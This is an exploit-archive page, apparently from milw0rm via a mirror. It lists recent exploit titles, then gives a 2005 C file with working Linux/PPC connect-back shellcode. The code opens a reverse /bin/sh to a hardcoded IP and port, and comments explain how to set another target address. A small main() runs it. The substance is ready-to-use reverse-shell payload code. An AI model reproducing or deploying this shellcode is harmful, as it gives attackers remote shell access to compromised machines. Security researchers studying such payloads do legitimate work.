477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
82 lines
No EOL
3 KiB
C
Executable file
82 lines
No EOL
3 KiB
C
Executable file
/* connect-core5.c by Charles Stevenson <core@bokeoa.com> */
|
|
char hellcode[] = /* connect back & execve /bin/sh linux/ppc by core */
|
|
"\x7c\x3f\x0b\x78" /*mr r31,r1*/
|
|
"\x3b\x40\x01\x0e" /*li r26,270*/
|
|
"\x3b\x5a\xfe\xf4" /*addi r26,r26,-268*/
|
|
"\x7f\x43\xd3\x78" /*mr r3,r26*/
|
|
"\x3b\x60\x01\x0d" /*li r27,269*/
|
|
"\x3b\x7b\xfe\xf4" /*addi r27,r27,-268*/
|
|
"\x7f\x64\xdb\x78" /*mr r4,r27*/
|
|
"\x7c\xa5\x2a\x78" /*xor r5,r5,r5*/
|
|
"\x7c\x3c\x0b\x78" /*mr r28,r1*/
|
|
"\x3b\x9c\x01\x0c" /*addi r28,r28,268*/
|
|
"\x90\x7c\xff\x08" /*stw r3,-248(r28)*/
|
|
"\x90\x9c\xff\x0c" /*stw r4,-244(r28)*/
|
|
"\x90\xbc\xff\x10" /*stw r5,-240(r28)*/
|
|
"\x7f\x63\xdb\x78" /*mr r3,r27*/
|
|
"\x3b\xdf\x01\x0c" /*addi r30,r31,268*/
|
|
"\x38\x9e\xff\x08" /*addi r4,r30,-248*/
|
|
"\x3b\x20\x01\x98" /*li r25,408*/
|
|
"\x7f\x20\x16\x70" /*srawi r0,r25,2*/
|
|
"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
|
|
"\x7c\x78\x1b\x78" /*mr r24,r3*/
|
|
"\xb3\x5e\xff\x16" /*sth r26,-234(r30)*/
|
|
"\x7f\xbd\xea\x78" /*xor r29,r29,r29*/
|
|
// Craft your exploit to poke these value in. Right now it's set
|
|
// for port 31337 and ip 192.168.1.1. Here's an example
|
|
// core@morpheus:~$ printf "0x%02x%02x\n0x%02x%02x\n" 192 168 1 1
|
|
// 0xc0a8
|
|
// 0x0101
|
|
"\x63\xbd" /* PORT # */ "\x7a\x69" /*ori r29,r29,31337*/
|
|
"\xb3\xbe\xff\x18" /*sth r29,-232(r30)*/
|
|
"\x3f\xa0" /*IP(A.B) */ "\xc0\xa8" /*lis r29,-16216*/
|
|
"\x63\xbd" /*IP(C.D) */ "\x01\x01" /*ori r29,r29,257*/
|
|
"\x93\xbe\xff\x1a" /*stw r29,-230(r30)*/
|
|
"\x93\x1c\xff\x08" /*stw r24,-248(r28)*/
|
|
"\x3a\xde\xff\x16" /*addi r22,r30,-234*/
|
|
"\x92\xdc\xff\x0c" /*stw r22,-244(r28)*/
|
|
"\x3b\xa0\x01\x1c" /*li r29,284*/
|
|
"\x38\xbd\xfe\xf4" /*addi r5,r29,-268*/
|
|
"\x90\xbc\xff\x10" /*stw r5,-240(r28)*/
|
|
"\x7f\x20\x16\x70" /*srawi r0,r25,2*/
|
|
"\x7c\x7a\xda\x14" /*add r3,r26,r27*/
|
|
"\x38\x9c\xff\x08" /*addi r4,r28,-248*/
|
|
"\x44\xde\xad\xf2" /*.long0x44deadf2*/
|
|
"\x7f\x03\xc3\x78" /*mr r3,r24*/
|
|
"\x7c\x84\x22\x78" /*xor r4,r4,r4*/
|
|
"\x3a\xe0\x01\xf8" /*li r23,504*/
|
|
"\x7e\xe0\x1e\x70" /*srawi r0,r23,3*/
|
|
"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
|
|
"\x7f\x03\xc3\x78" /*mr r3,r24*/
|
|
"\x7f\x64\xdb\x78" /*mr r4,r27*/
|
|
"\x7e\xe0\x1e\x70" /*srawi r0,r23,3*/
|
|
"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
|
|
// comment out the next 4 lines to save 16 bytes and lose stderr
|
|
//"\x7f\x03\xc3\x78" /*mr r3,r24*/
|
|
//"\x7f\x44\xd3\x78" /*mr r4,r26*/
|
|
//"\x7e\xe0\x1e\x70" /*srawi r0,r23,3*/
|
|
//"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
|
|
"\x7c\xa5\x2a\x79" /*xor. r5,r5,r5*/
|
|
"\x42\x40\xff\x35" /*bdzl+ 10000454<main>*/
|
|
"\x7f\x08\x02\xa6" /*mflr r24*/
|
|
"\x3b\x18\x01\x34" /*addi r24,r24,308*/
|
|
"\x98\xb8\xfe\xfb" /*stb r5,-261(r24)*/
|
|
"\x38\x78\xfe\xf4" /*addi r3,r24,-268*/
|
|
"\x90\x61\xff\xf8" /*stw r3,-8(r1)*/
|
|
"\x38\x81\xff\xf8" /*addi r4,r1,-8*/
|
|
"\x90\xa1\xff\xfc" /*stw r5,-4(r1)*/
|
|
"\x3b\xc0\x01\x60" /*li r30,352*/
|
|
"\x7f\xc0\x2e\x70" /*srawi r0,r30,5*/
|
|
"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
|
|
"/bin/shZ"; /* Z will become NULL */
|
|
|
|
int main(void)
|
|
{
|
|
void (*shell)() = (void *)&hellcode;
|
|
printf("%d byte connect back execve /bin/sh for linux/ppc by core\n",
|
|
strlen(hellcode));
|
|
shell();
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2005-11-09]
|